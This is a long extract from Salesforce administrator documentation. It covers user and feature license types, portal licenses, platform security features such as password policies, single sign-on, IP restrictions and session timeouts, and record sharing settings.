You may have more than one type of user license in your organization. A user license entitles a user to different functionality within Salesforce and determines which profiles and permission sets are available to the user. To view a list of the active user licenses in your company, click Your Name > Setup > Company Profile > Company Information. This page lists the following for each type of user license:
Status indicates the status of the license. Total Licenses indicates the number of licenses for which your company is billed and that are available to you. Used Licenses is the number of licenses that you have assigned to users. Remaining Licenses is the number of unused licenses.

If Checkout is enabled for your organization, you can click Buy More Licenses to go to Checkout to buy additional user licenses.

610

User Management

Understanding User License Types

In addition to license types, the following portal login information is listed for organizations that have Customer Portals or partner portals enabled:
Monthly Logins Allotted shows the maximum number of customer or partner portal logins allowed per month. Monthly Logins Used indicates the number of successful logins for all users associated with a customer or partner

portal user license for the month. Note: You may see other types of licenses listed on this page if your organization has purchased custom user licenses for different types of functionality. Your organization may also have other licenses that are still supported, but are no longer available. Contact salesforce.com for more information. These lists describe the functionality a user is entitled to for each type of standard user license.

Salesforce License Types


Salesforce

Designed for users who require full access to standard CRM and Force.com AppExchange apps. Users with this user license are entitled to access any standard or custom app. Each license provides additional storage for Enterprise and Unlimited Edition users. For more information, see Monitoring Resources on page 769.

Salesforce Platform

Designed for users who need access to custom apps but not to standard CRM functionality. Users with this user license are entitled to use custom apps developed in your organization or installed from Force.com AppExchange. In addition, they are entitled to use core platform functionality such as accounts, contacts, reports, dashboards, documents, and custom tabs. However, these users are not entitled to some user permissions and standard apps, including standard tabs and objects such as forecasts and opportunities. Users with this license can also use Connect Offline. Note: Users with this license can only view dashboards if the running user also has the same license. For Salesforce Platform and Salesforce Platform One license users, the Platform standard app is the only app listed in the Force.com app menu. Users with a Salesforce Platform user license can access all the custom apps in your organization. For a list of the total number of custom apps available in each Edition, see Salesforce Editions and Limits on page 2182. Each license provides additional storage for Enterprise and Unlimited Edition users. For more information, see Monitoring Resources on page 769.

Force.com One App

Designed for users who need access to one custom app but not to standard CRM functionality. Force.com - One App users are entitled to the same rights as Salesforce Platform users, plus they have access to an unlimited number of custom tabs. However, they are limited to the use of one custom app, which is defined as up to 10 custom objects, and they are limited to read-only access to the Accounts and Contacts objects. Note: Users with this license can only view dashboards if the running user also has the same license. Each license provides an additional 1 MB of data storage and 1 MB of file storage, regardless of the Salesforce Edition.

Knowledge Only User

Designed for users who only need access to the Salesforce Knowledge app. This license provides access to the following tabs: Articles, Article Management, Chatter, Chatter Files, Home, Profiles, Reports, custom

611

User Management

Understanding User License Types

objects, and custom tabs. The Knowledge Only User license includes a Knowledge Only profile that grants access to the Articles tab. To view and use the Article Management tab, a user must have the Manage Articles permission. For more information, see Setting Up Salesforce Knowledge on page 1513.
Chatter Free Designed for Unlimited, Enterprise, and Professional Edition users that don't have Salesforce licenses but

need access to Chatter. These users can access standard Chatter people, profiles, groups, and files. They can't access any Salesforce objects or data. Note: You can upgrade a Chatter Free license to a standard Salesforce license at any time, however, you can't convert a standard Salesforce or Chatter Only license to a Chatter Free license.

Chatter External

Designed to allow customers in Chatter groups. Customers are users outside of a companys email domain.

Chatter Only Also known as Chatter Plus. Designed for Unlimited, Enterprise, and Professional Edition users that dont

have Salesforce licenses but need access to some Salesforce objects in addition to Chatter. These users can access standard Chatter people, profiles, groups, and files, plus they can: View Salesforce accounts and contacts Use Salesforce CRM Content, Ideas, and Answers Modify up to ten custom objects Note: You must expose the tabs for the standard Salesforce objects that the Chatter Only user profile can access, as they are hidden by default for these users. Professional Edition organizations must have Profiles enabled to perform these tasks. Contact your sales representative for more information.

Sites and Site.com License Types


Guest User

Designed for public users who access your Site.com or Force.com sites. Site visitors have access to any information made available in an active public site. For each Guest User license, you can develop one site for your organization. For Site.com, Developer, Enterprise, and Unlimited Editions each come with unlimited Guest User licenses. For Force.com sites, Enterprise and Unlimited Editions each come with 25 Guest User licenses. Developer Edition comes with one Guest User license. See Force.com Sites Limits and Billing on page 1685. Note: You can't purchase additional Guest User licenses for Force.com sites. The Authenticated Website high-volume portal user license is specifically designed to be used with Force.com sites. Because it's designed for high volumes, it should be a cost-effective option to use with Force.com sites.

Site.com Only

Designed for Unlimited and Enterprise Edition users who need access to Site.com but not to standard CRM functionality. Site.com Only users are entitled to the same rights as Force.com - One App users, plus they have access to the Content app. However, they don't have access to the Accounts and Contacts objects. Users have access to an unlimited number of custom tabs, but are limited to the use of one custom app, which is defined as up to 20 custom objects.

612

User Management

Understanding User License Types

Each Site.com Only user also needs either a Site.com Contributor or Site.com Publisher feature license to access Site.com. See Setting Up Site.com Users on page 2365.

Service Cloud Portal User Licenses


High-volume portal users (Service Cloud portal users) are limited-access portal users intended for organizations with many thousands to millions of portal users. Unlike other portal users, high-volume portal users don't have roles, which eliminates performance issues associated with role hierarchy calculations. Service Cloud Portal users have the High Volume Customer Portal license. This license gives contacts unlimited logins to your Service Cloud Portal to access customer support information. Users with this license can access accounts, assets, cases, contacts, custom objects, documents, ideas, and questions, depending on their permission settings. You can associate high-volume portal users with a High Volume Customer Portal or Authenticated Website profile, or a profile cloned and customized from one of these. High-volume portal users don't have roles and aren't included in the role hierarchy. They can access records if any of the following conditions are met: They have Update access on the Account that they belong to. They own the record. They can access a record's parent, and the organization-wide sharing setting for that record is Controlled by Parent. The organization-wide sharing setting for the object is Public Read Only or Public Read/Write. The record is the account or contact under which they are enabled.

You can use sharing sets to give high-volume portal users access to specific resources. See Granting High-Volume Portal Users (Service Cloud Portal Users) Access to Records on page 1790. You can't include high-volume portal users in: Personal groups or public groups. Sharing rules. Account teams, opportunity teams, or case teams. Salesforce CRM Content libraries.

The Overage High Volume Customer Portal license is the same as the High Volume Customer Portal license, except that users do not have unlimited logins. Contact salesforce.com for information about the number of Customer Portal licenses you can activate. This table lists the permissions that can be assigned to Service Cloud portal users. Create Accounts Assets Cases Contacts Custom Objects Documents Ideas Read Update Delete

613

User Management

Understanding User License Types

Create Knowledge Price Books Products Questions and Answers Solutions

Read

Update

Delete

Customer Portal User Licenses


Users of a Customer Portal site have the Customer Portal Manager Standard license. Allows contacts to log into your Customer Portal to manage customer support. You can associate users who have a Customer Portal Manager Standard license with the Customer Portal User profile or a profile cloned and customized from the Customer Portal User profile. This lets them view and edit data they directly own or data owned by or shared with users below them in the Customer Portal role hierarchy. These users can also view and edit cases where they are listed in the Contact Name field. Users with the Customer Portal Manager Standard license can: View contacts, price books and products. View and edit accounts and cases. Create and edit assets. Create, view, edit and delete custom objects. Access custom objects depending on their permissions. Receive the Portal Super User permission. Access Salesforce CRM Content if they have a Salesforce CRM Content feature license or the appropriate permissions.

The Overage Customer Portal Manager Standard license is the same as the Customer Portal Manager Standard license, except that users are limited to one login per month. Note: This license is not available for new customers.

This table lists the permissions that can be given to Customer Portal users. Create Accounts Assets Cases Contacts Custom Objects Documents Ideas Knowledge Read Update Delete

614

User Management

Understanding User License Types

Create Price Books Products Solutions Questions and Answers

Read

Update

Delete

Customer Portal Enterprise Administration User Licenses


Customer Portal Enterprise Administration users have the Customer Portal Manager Custom license. This license gives contacts unlimited logins to your Salesforce Customer Portal to manage customer support. You can associate users who have a Customer Portal Manager Custom license with the Customer Portal User profile or a profile cloned and customized from the Customer Portal User profile, which lets them view and edit data they directly own and view, create, and edit cases where they're listed in the Contact Name field. Users with this license can: Create, read or update accounts, assets and cases. View contacts. View custom objects and run reports depending on their permissions. Receive the Portal Super User and Delegated Portal User Administrator permissions. Access Salesforce CRM Content if they have a Salesforce CRM Content feature license or the appropriate permissions.

The Overage Customer Portal Manager Custom license is the same as the Customer Portal Manager Custom license, except that users do not have unlimited logins. Contact salesforce.com for information about the number of Customer Portal licenses you can activate. This table lists the permissions that can be given to Customer Portal Enterprise Administration users. Create Accounts Assets Cases Contacts Custom Objects Documents Ideas Knowledge Price Books Products Solutions Questions and Answers Read Update Delete

615

User Management

Understanding User License Types

Platform Portal User Licenses


Platform portal users have the Authenticated Website license, which is designed to be used with Force.com Sites. It gives named sites users unlimited logins to your Platform Portal to access customer support information. Users with this license have read and create access on ideas and questions and answers, and read-only access to documents, knowledge, price books, and products. The Overage Authenticated Website license is the same as the Authenticated Website license, except that users do not have unlimited logins. This table lists the permissions that can be given to Platform portal users. Create Documents Ideas Knowledge Price Books Products Questions and Answers Read Update Delete

Partner Portal User Licenses


Partner Portal users have the Gold Partner user license. They can only access Salesforce using the partner portal. Users with a Gold Partner license can access the Documents tab, My Account Profile, Leads, Custom Objects, Approvals, Accounts, Cases, and Opportunities, and have 5 MB of data storage space. Access to Salesforce CRM Content is determined by feature license and user permissions. This table lists the permissions that can be given to Partner Portal users. Create Accounts Approvals Assets Campaigns Cases Contacts Custom Objects Documents Ideas Knowledge Leads Read Update Delete

616

User Management

Understanding User License Types

Create Opportunities Price Books Products Solutions Questions and Answers

Read

Update

Delete

Database.com User Licenses


User License Database.com Admin Description Default Number of Available Licenses

Designed for users who need to administer Database.com, Database.com or make changes to Database.com schemas or other metadata Edition: 3 using the point-and-click tools in the Database.com Console. Designed for users who need API access to data stored in Database.com. Database.com Edition: 3 Enterprise Edition and Unlimited Edition: 0 Contact salesforce.com to obtain Database.com User Licenses

Database.com User

Database.com Light User

Designed for users who need only API access to data, need Database.com to belong to Chatter groups (but no other groups), and don't Edition: 0 need to belong to roles or queues. Access to data is determined Enterprise Edition by organization-wide sharing defaults. and Unlimited Edition: 0 Contact salesforce.com to obtain Database.com Light User Licenses

Data.com User Licenses


Data.com User

Designed to allow users to add or export a limited number of Data.com records per month. The default number of records per license is 300, but it can be adjusted based on your agreement. Additions expire at the end of each month, as determined by your organization's default time zone.

617

User Management

Viewing Feature Licenses

Data.com List User

Designed to allow users to share record additions from a pool. All Data.com List users work from the organizations Pool Record Limit, so if one Data.com List user reaches the limit, other users of that type will not be able to add records.

See Also:
Adding a Single User Viewing and Managing Users About Company Information Viewing Feature Licenses

Viewing Feature Licenses


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view feature licenses: View Setup and Configuration

You may have more than one type of feature license available to assign to the users in your organization. A feature license entitles a user to an additional Salesforce feature, such as Marketing or Connect Offline. To view a list of the feature licenses your organization has purchased, click Your Name > Setup > Company Profile > Company Information. This page lists the following for each type of feature license:
Status indicates the status of the license. Total Licenses indicates the number of licenses for which your company is billed and that are available to you. Used Licenses is the number of licenses that you have assigned to users. Remaining Licenses is the number of unused licenses.

Additionally, if Checkout is enabled for your organization, you can click Buy More Licenses to go to Checkout to buy additional feature licenses; see Checkout User Guide for instructions. The following feature licenses are available: Marketing User Offline User Apex Mobile User Salesforce CRM Content User Knowledge User Service Cloud User Chatter Answers User Live Agent User

618

Security and Sharing

Security Overview

Force.com Flow User Site.com Contributor User Site.com Publisher User

To enable a feature for a user in your organization, you can assign feature licenses when adding new users or editing a user's personal information. For information on purchasing feature licenses, contact salesforce.com.

See Also:
About Company Information Understanding User License Types

SECURITY AND SHARING


Security Overview
Salesforce is built with security as the foundation for the entire service. This foundation includes both protection for your data and applications, and the ability to implement your own security scheme to reflect the structure and needs of your organization. The security features of Salesforce provide both strength and flexibility. However, protecting your data is a joint responsibility between you and salesforce.com. The security features in Salesforce enable you to empower your users to do their jobs efficiently, while also limiting exposure of data to the users that need to act upon it. Implement security controls that you think are appropriate for the sensitivity of your data. Your data is protected from unauthorized access from outside your company, and you should also safeguard it from inappropriate usage by your users. Note: Who Sees What: Overview (4:33 minutes)

Watch an overview on how you can control access and visibility to your data. See the following topics to get more information about the various security components in Salesforce: Security Infrastructure Trust and Salesforce.com User Security Overview About Passwords User Authentication Identity Providers Network-Based Security CAPTCHA Security for Data Exports Session Security Securing Data Access Auditing

619

Security and Sharing

Security Overview

Portal Health Check Overview in the Salesforce online help

See Also:
FAQ: Security & Scalability Securing Data Access FAQ: What browsers are supported? Setting Login Restrictions Setting Session Security Setting Password Policies Security Implementation Guide

Security Infrastructure
One of the core features of a multi-tenant platform is the use of a single pool of computing resources to service the needs of many different customers. Salesforce protects your organization's data from all other customer organizations by using a unique organization identifier, which is associated with each user's session. Once you log in to your organization, your subsequent requests are associated with your organization, using this identifier. Salesforce utilizes some of the most advanced technology for Internet security available today. When you access the application using a Salesforce-supported browser, Secure Socket Layer (SSL) technology protects your information using both server authentication and data encryption, ensuring that your data is safe, secure, and available only to registered users in your organization. For more information about supported browsers, see Supported Browsers. In addition, Salesforce is hosted in a secure server environment that uses a firewall and other advanced technology to prevent interference or access from outside intruders.

See Also:
Security Overview Security Implementation Guide

Trust and Salesforce.com


Trust starts with transparency. Thats why salesforce.com displays real-time information on system performance and security on the trust site at http://trust.salesforce.com. This site provides live data on system performance, alerts for current and recent phishing and malware attempts, and tips on best security practices for your organization. The Security tab on the trust site includes valuable information that can help you to safeguard your company's data. In particular, phishing and malware are Internet scams on the rise. Phishing is a social engineering technique that attempts to acquire sensitive information such as usernames, passwords and credit card details by masquerading as a trustworthy entity in an electronic communication. Phishers often direct users to enter details at a fake website whose URL and look-and-feel are almost identical to the legitimate one. As the salesforce.com community grows, it has become an increasingly appealing target for phishers. You will never get an email or a phone call from a salesforce.com employee asking you to reveal a password, so you should refuse to reveal it to anyone. You can report any suspicious activities by clicking the Report a Suspicious Email link under the Trust tab at http://trust.salesforce.com.

620

Security and Sharing

Security Overview

Malware is software designed to infiltrate or damage a computer system without the owner's informed consent. It is a general term used to cover a variety of forms of hostile, intrusive, or annoying software, and it includes computer viruses and spyware. What Salesforce.com is Doing Customer security is the foundation of customer success, so salesforce.com will continue to implement the best possible practices and technologies in this area. Recent and ongoing actions include: Actively monitoring and analyzing logs to enable proactive alerts to customers who have been affected. Collaborating with leading security vendors and experts on specific threats. Executing swift strategies to remove or disable fraudulent sites (often within an hour of detection). Reinforcing security education and tightening access policies within salesforce.com. Evaluating and developing new technologies both for our customers and for deployment within our infrastructure.

What Salesforce.com Recommends You Do Salesforce.com is committed to setting the standards in software-as-a-service as an effective partner in customer security. So, in addition to internal efforts, salesforce.com strongly recommends that customers implement the following changes to enhance security: Modify your Salesforce implementation to activate IP range restrictions. This will allow users to access Salesforce only from your corporate network or VPN, thus providing a second factor of authentication. For more information, see Setting Session Security on page 677 and Restricting Login IP Ranges for Your Organization on page 679. Educate your employees not to open suspect emails and to be vigilant in guarding against phishing attempts. Use security solutions from leading vendors such as Symantec to deploy spam filtering and malware protection. Designate a security contact within your organization so that salesforce.com can more effectively communicate with you. Contact your salesforce.com representative with this information. Consider using two-factor authentication techniques, such as RSA tokens, to restrict access to your network.

Salesforce.com has a Security Incident Response Team to respond to any security issues. To report a security incident with Salesforce, contact security@salesforce.com. Describe the incident in detail, and the team will respond promptly.

See Also:
Security Overview Security Implementation Guide

User Security Overview


Salesforce provides each user in your organization with a unique username and password that must be entered each time a user logs in. Salesforce issues a session cookie only to record encrypted authentication information for the duration of a specific session. The session cookie does not include either the username or password of the user. Salesforce does not use cookies to store other confidential user and session information, but instead implements more advanced security methods based on dynamic data and encoded session IDs.

See Also:
Security Overview Security Implementation Guide

621

Security and Sharing

Security Overview

About Passwords
Password policies available in: All Editions

User Permissions Needed To set password policies: To reset user passwords and unlock users: Manage Users Reset User Passwords and Unlock Users

There are several settings you can configure to ensure that your users passwords are strong and secure: Password policiesset various password and login policies, such as specifying an amount of time before all users' passwords expire, the level of complexity required for passwords, and so on. See Setting Password Policies on page 674. User password expirationexpire the passwords for all the users in your organization, except for users with Password Never Expires permission. See Expiring Passwords on page 516. User password resetsreset the password for specified users. See Resetting Passwords on page 515. Login attempts and lockout periodsif a user is locked out of Salesforce due to too many failed login attempts, you can unlock them. See Editing Users on page 512.

Password Requirements A password cannot contain your User Name and cannot match your first or last name. For all editions, a new organization has the following default password requirements: A password must contain at least eight characters. A password must contain at least one alphabetic character and one number. The answer to the question posed if you forget your password cannot contain your password. The last three passwords are remembered and cannot be reused when you are changing your password.

The password policies, including these defaults, can be updated for all editions except for Personal Edition. See Setting Password Policies on page 674 for more details.

See Also:
Security Overview Security Implementation Guide

User Authentication
Salesforce has its own system of user authentication, but some companies prefer to use an existing single sign-on capability to simplify and standardize their user authentication. You have two options to implement single sign-onfederated authentication using Security Assertion Markup Language (SAML) or delegated authentication.

622

Security and Sharing

Security Overview

Federated authentication using Security Assertion Markup Language (SAML) allows you to send authentication and authorization data between affiliated but unrelated Web services. This enables you to sign-on to Salesforce from a client application. Federated authentication using SAML is enabled by default for your organization. Delegated authentication single sign-on enables you to integrate Salesforce with an authentication method that you choose. This enables you to integrate authentication with your LDAP (Lightweight Directory Access Protocol) server, or perform single sign-on by authenticating using a token instead of a password. You manage delegated authentication at the permission level, allowing some users to use delegated authentication, while other users continue to use their Salesforce-managed password. Delegated authentication is set by permissions, not by organization. You must request that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication single sign-on for your organization. The primary reasons for using delegated authentication include: Using a stronger type of user authentication, such as integration with a secure identity provider Making your login page private and not part of the general Internet, but rather, part of your corporate network, behind your corporate firewall Differentiating your organization from all other companies that use Salesforce in order to reduce phishing attacks

For more information, see About Single Sign-On on page 681.

See Also:
Security Overview Security Implementation Guide

Identity Providers
An identity provider is a trusted provider that enables you to use single sign-on to access other websites. A service provider is a website that hosts applications. You can enable Salesforce as an identity provider, then define one or more service providers, so your users can access other applications directly from Salesforce using single sign-on. This can be a great help to your users: instead of having to remember many passwords, they will only have to remember one. Plus, the applications can be added as tabs to your Salesforce organization, which means users won't have to switch between programs. For more information, see About Identity Providers and Service Providers in the Salesforce online help.

See Also:
Security Overview Security Implementation Guide

Network-Based Security
User authentication determines who can log in, while network-based security limits where they can log in from and when. Use network-based security to limit the window of opportunity for an attacker by restricting the origin of user logins. Network-based security can also make it more difficult for an attacker to use stolen credentials. To enhance network-based security, Salesforce includes the ability to restrict the hours during which users can log in and the range of IP addresses from which they can log in. If IP address restrictions are defined for a user's profile and a login originates

623

Security and Sharing

Security Overview

from an unknown IP address, Salesforce does not allow the login. This helps to protect your data from unauthorized access and phishing attacks. To set the organization-wide list of trusted IP addresses from which users can always log in without a login challenge, see Restricting Login IP Ranges for Your Organization on page 679. To restrict login hours by profile, or to restrict logins by IP addresses for specific profiles, see Setting Login Restrictions on page 557.

See Also:
Security Overview Security Implementation Guide

CAPTCHA Security for Data Exports


By request, salesforce.com can also require users to pass a user verification test to export data from Salesforce.com. This simple, text-entry test helps prevent malicious programs from accessing your organizations data, as well as reducing the risk of automated attacks. CAPTCHA is a type of network-based security. To pass the test, users must type two words displayed on an overlay into the overlays text box field, and click a Submit button. Salesforce uses CAPTCHA technology provided by reCaptcha to verify that a person, as opposed to an automated program, has correctly entered the text into the overlay. CAPTCHA stands for Completely Automated Public Turing Test To Tell Computers and Humans Apart.

See Also:
Security Overview Security Implementation Guide

Session Security
After logging in, a user establishes a session with the platform. Use session security to limit exposure to your network when a user leaves their computer unattended while still logged on. It also limits the risk of internal attacks, such as when one employee tries to use another employee's session. You can control the session expiration time window for user logins. Session expiration allows you to select a timeout for user sessions. The default session timeout is two hours of inactivity. When the session timeout is reached, users are prompted with a dialog that allows them to log out or continue working. If they do not respond to this prompt, they are automatically logged out. Note: When a user closes a browser window or tab they are not automatically logged off from their Salesforce session. Please ensure that your users are aware of this, and that they end all sessions properly by clicking Your Name > Logout. By default, Salesforce uses SSL (secure sockets layer) and requires secure connections (HTTPS) for all communication. The Require secure connections (HTTPS) setting determines whether SSL (HTTPS) is required for access to Salesforce, apart from Force.com sites, which can still be accessed using HTTP. (To enforce HTTPS for all Force.com sites communication, see Public Access Settings for Force.com Sites on page 1700.) If you disable this setting and change the URL from https://

624

Security and Sharing

Security Overview

to http://, you can still access the application. However, you should require all sessions to use SSL for added security. See Setting Session Security on page 677.

See Also:
Security Overview Security Implementation Guide

Auditing
Auditing features do not secure your organization by themselves, but these features provide information about usage of the system, which can be critical in diagnosing potential or real security issues. It is important that someone in your organization perform regular audits to detect potential abuse. The other security features provided by Salesforce are preventative. To verify that your system is actually secure, you should perform audits to monitor for unexpected changes or usage trends. Auditing features include: Record Modification Fields All objects include fields to store the name of the user who created the record and who last modified the record. This provides some basic auditing information. Login History You can review a list of successful and failed login attempts to your organization for the past six months. See Monitoring Login History on page 608. Field History Tracking You can also enable auditing for individual fields, which will automatically track any changes in the values of selected fields. Although auditing is available for all custom objects, only some standard objects allow field-level auditing. See Tracking Field History on page 1119. Setup Audit Trail Administrators can also view a Setup Audit Trail, which logs when modifications are made to your organization's configuration. See Monitoring Setup Changes on page 751.

See Also:
Security Overview Security Implementation Guide

625

Security and Sharing

Securing Data Access

Securing Data Access


The available data management options vary according to which Salesforce Edition you have.

Choosing the data set that each user or group of users can see is one of the key decisions that affects data security. You need to find a balance between limiting access to data, thereby limiting risk of stolen or misused data, versus the convenience of data access for your users. To enable users to do their job without exposing data that they do not need to see, Salesforce provides a flexible, layered sharing design that allows you to expose different data sets to different sets of users. To specify the objects that users can access, you can assign permission sets and profiles. To specify the fields that users can access, you can use field-level security. To specify the individual records that users can view and edit, you can set your organization-wide sharing settings, define a role hierarchy, and create sharing rules. Tip: When implementing security and sharing rules for your organization, make a table of the various types of users in your organization. In the table, specify the level of access to data that each type of user needs for each object and for fields and records within the object. You can refer to this table as you set up your security model. The following describes these security and sharing settings: Object-Level Security (Permission Sets and Profiles) Object-level securityor object permissionsprovide the bluntest way to control data. Using object permissions you can prevent a user from seeing, creating, editing, or deleting any instance of a particular type of object, such as a lead or opportunity. Object permissions let you hide whole tabs and objects from particular users, so that they dont even know that type of data exists. You specify object permissions in permission sets and profiles. Permission sets and profiles are collections of settings and permissions that determine what a user can do in the application, similar to a group in a Windows network, where all of the members of the group have the same folder permissions and access to the same software. Profiles are typically defined by a users job function (for example, system administrator or sales representative). A profile can be assigned to many users, but a user can be assigned to only one profile. You can use permission sets to grant additional permissions and access settings to users. Its easy to manage users permissions and access with permission sets, because you can assign multiple permission sets to a single user. Field-Level Security (Permission Sets and Profiles) In some cases, you may want users to have access to an object, but limit their access to individual fields in that object. Field-level securityor field permissionscontrol whether a user can see, edit, and delete the value for a particular field on an object. They let you protect sensitive fields without having to hide the whole object from users. Field permissions are also controlled in permission sets and profiles. Unlike page layouts, which only control the visibility of fields on detail and edit pages, field permissions control the visibility of fields in any part of the app, including related lists, list views, reports, and search results. To ensure that a user cant access a particular field, use field permissions. No other settings provide the same level of protection for a field.

626

Security and Sharing

Securing Data Access

Important: Field-level security doesn't prevent searching on the values in a field. To set up your organization to prevent users from searching and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer Support. Record-Level Security (Sharing) After setting object- and field-level access permissions, you may want to configure access settings for the actual records themselves. Record-level security lets you give users access to some object records, but not others. Every record is owned by a user or a queue. The owner has full access to the record. In a hierarchy, users higher in the hierarchy always have the same access to users below them in the hierarchy. This access applies to records owned by users, as well as records shared with them. To specify record-level security, set your organization-wide sharing settings, define a hierarchy, and create sharing rules. Organization-wide sharing settingsThe first step in record-level security is to determine the organization-wide sharing settings for each object. Organization-wide sharing settings specify the default level of access users have to each others records. You use organization-wide sharing settings to lock down your data to the most restrictive level, and then use the other record-level security and sharing tools to selectively give access to other users. For example, lets say users have object-level permissions to read and edit opportunities, and the organization-wide sharing setting is Read-Only. By default, those users can read all opportunity records, but cant edit any unless they own the record or are granted additional permissions. Role hierarchyOnce youve specified organization-wide sharing settings, the first way you can give wider access to records is with a role hierarchy. Similar to an organization chart, a role hierarchy represents a level of data access that a user or group of users needs. The role hierarchy ensures that users higher in the hierarchy always have access to the same data as people lower in their hierarchy, regardless of the organization-wide default settings. Role hierarchies dont have to match your organization chart exactly. Instead, each role in the hierarchy should represent a level of data access that a user or group of users needs. You can also use a territory hierarchy to share access to records. A territory hierarchy grants users access to records based on criteria such as zip code, industry, revenue, or a custom field that is relevant to your business. For example, you could create a territory hierarchy in which a user with the North America role has access to different data than users with the Canada and United States roles. Note: Although its easy to confuse permission sets and profiles with roles, they control two very different things. Permission sets and profiles control a users object and field access permissions. Roles primarily control a users record-level access through role hierarchy and sharing rules. Sharing rulesSharing rules let you make automatic exceptions to organization-wide sharing settings for particular sets of users, to give them access to records they dont own or cant normally see. Sharing rules, like role hierarchies, are only used to give additional users access to recordsthey cant be stricter than your organization-wide default settings. Manual sharingSometimes its impossible to define a consistent group of users who need access to a particular set of records. In those situations, record owners can use manual sharing to give read and edit permissions to users who would not have access to the record any other way. Although manual sharing isnt automated like organization-wide sharing settings, role hierarchies, or sharing rules, it gives record owners the flexibility to share particular records with users that need to see them. Apex managed sharingIf sharing rules and manual sharing dont give you the control you need, you can use Apex managed sharing. Apex managed sharing allows developers to programmatically share custom objects. When you

627

Security and Sharing

Overview of Sharing Settings

use Apex managed sharing to share a custom object, only users with the Modify All Data permission can add or change the sharing on the custom object's record, and the sharing access is maintained across record owner changes.

See Also:
Overview of Sharing Settings Overview of Roles

Overview of Sharing Settings


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Teams are not available in Database.com

In Salesforce, you can control access to data at many different levels. For example, you can control the access your users have to objects with object permissions. Within objects, you can control the access users have to fields using field-level security. To control access to data at the record level, use sharing settings.

Organization-Wide Defaults
Your organization-wide default sharing settings give you a baseline level of access for each object and enable you to extend that level of access using hierarchies or sharing rules. For example, you can set the organization-wide default for leads to Private if you only want users to view and edit the leads they own. Then, you can create lead sharing rules to extend access of leads to particular users or groups. Starting in Summer 12, custom objects can have separate organization-wide defaults for external and internal users, enabling admins to set default access for external users to Private while still allowing Public Read/Write or Public Read Only access for internal users. See Separate Organization-Wide Defaults for more information.

Sharing Rules
Sharing rules represent the exceptions to your organization-wide default settings. If you have organization-wide sharing defaults of Public Read Only or Private, you can define rules that give additional users access to records they do not own. You can create sharing rules based on record owner or field values in the record. Tip: Sometimes its impossible to define a consistent group of users who need access to a particular set of records. In those situations, record owners can use manual sharing to give read and edit permissions to users who would not have access to the record any other way. Although manual sharing isnt automated like organization-wide sharing settings, role hierarchies, or sharing rules, it gives record owners the flexibility to share particular records with users that need to see them.

Apex Managed Sharing


Apex managed sharing allows developers to programmatically share custom objects. When you use Apex managed sharing to share a custom object, only users with the Modify All Data permission can add or change the sharing on the custom object's record, and the sharing access is maintained across record owner changes. For more information on Apex managed sharing, see the Force.com Apex Code Developer's Guide.

628

Security and Sharing

Overview of Sharing Settings

Other Methods for Allowing Access to Records


In addition to sharing settings, there are a few other ways to allow multiple users access to given records: Map category groups to roles Control access to data categories by mapping them to user roles. See About Category Group Visibility on page 1638. Queues Queues help your teams manage leads, cases, service contracts, and custom objects. Once records are placed in a queue manually or through an automatic case or lead assignment rule, records remain there until they're assigned to a user or taken by one of the queue members. Any queue member or users above them in the role hierarchy can take ownership of records in a queue. Use queues to route lead, case, and custom object records to a group. Teams For accounts, opportunities, and cases, record owners can use teams to allow other users access to their records. A team is a group of users that work together on an account, sales opportunity, or case. Record owners can build a team for each record that they own. The record owner adds team members and specifies the level of access each team member has to the record, so that some team members can have read-only access and others can have read/write access. The record owner can also specify a role for each team member, such as Executive Sponsor. In account teams, team members also have access to any contacts, opportunities, and cases associated with an account. Note: A team member may have a higher level of access to a record for other reasons, such as a role or sharing rule. In this case, the team member has the highest access level granted, regardless of the access level specified in the team.

See Also:
Sharing Considerations Account Teams Overview Opportunity Teams Overview Case Teams Overview Securing Data Access

Working in the Sharing Settings Page


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To set default sharing access: Manage Users AND Customize Application

Use the sharing settings page to set your organization-wide sharing defaults and manage sharing rules. To view the sharing settings page, click Your Name > Setup > Security Controls > Sharing Settings.

629

Security and Sharing

Overview of Sharing Settings

From the Manage sharing settings for drop-down list, select All Objects to view sharing settings for all objects in the organization, or select a single object. View or manage organization-wide defaults, or the default level of access users have to each others records. View or manage sharing rules, or exceptions to the organization-wide defaults. View the profiles that override sharing settings.

Viewing Sharing Overrides


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view sharing overrides: View Setup and Configuration

When you select an object in the Sharing Settings page, the page includes a Sharing Overrides related list, which shows any profiles that ignore sharing settings for that object. To view the Sharing Overrides list, click Your Name > Setup > Security Controls > Sharing Settings, then select an object from the Manage Sharing Settings For list. For each profile, the list specifies the permissions that allow it to override sharing settings. The View All Data and Modify All Data permissions override sharing settings for all objects in the organization, while the object permissions View All and Modify All override sharing settings for the named object. Note: The Sharing Overrides list doesn't show permissions granted through permission sets, which may also override sharing settings for an object. To override sharing settings for specific objects, you can create or edit permission sets or profiles and enable the View All and Modify All object permissions. These permissions provide access to all records associated with an object across the organization, regardless of the sharing settings. Before setting these permissions, compare the different ways to control data access.

See Also:
Object Permissions Comparing Security Models Overview of Sharing Settings

630

Security and Sharing

About Organization-Wide Sharing Defaults

About Organization-Wide Sharing Defaults


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions. Customer Portal is not available in Database.com

Administrators can use organization-wide sharing settings to define the default sharing settings for an organization. Organization-wide sharing settings specify the default level of access to records and can be set separately for accounts (including assets and contracts), activities, contacts, campaigns, cases, leads, opportunities, calendars, price books, and custom objects. For most objects, organization-wide sharing settings can be set to Private, Public Read Only, or Public Read/Write. In environments where the organization-wide sharing setting for an object is Private or Public Read Only, an administrator can grant users additional access to records by setting up a role hierarchy or defining sharing rules. However, sharing rules can only be used to grant additional accessthey cannot be used to restrict access to records beyond what was originally specified with the organization-wide sharing defaults. Important: If your organization uses a Customer Portal, before you enable contacts to access the portal, set the organization-wide sharing defaults on accounts, contacts, contracts, assets, and cases to Private. This ensures that by default your customers can view only their own data. You can still grant your Salesforce users Public Read/Write access by creating sharing rules in which all internal users share with all internal users. By default, Salesforce uses hierarchies, like the role or territory hierarchy, to automatically grant access of records to users above the record owner in the hierarchy. Use the Grant Access Using Hierarchies checkbox to disable access to records to users above the record owner in the hierarchy for custom objects in Professional, Enterprise, Unlimited, and Developer Edition. If you deselect this checkbox for a custom object, only the record owner and users granted access by the organization-wide defaults receive access to the records. 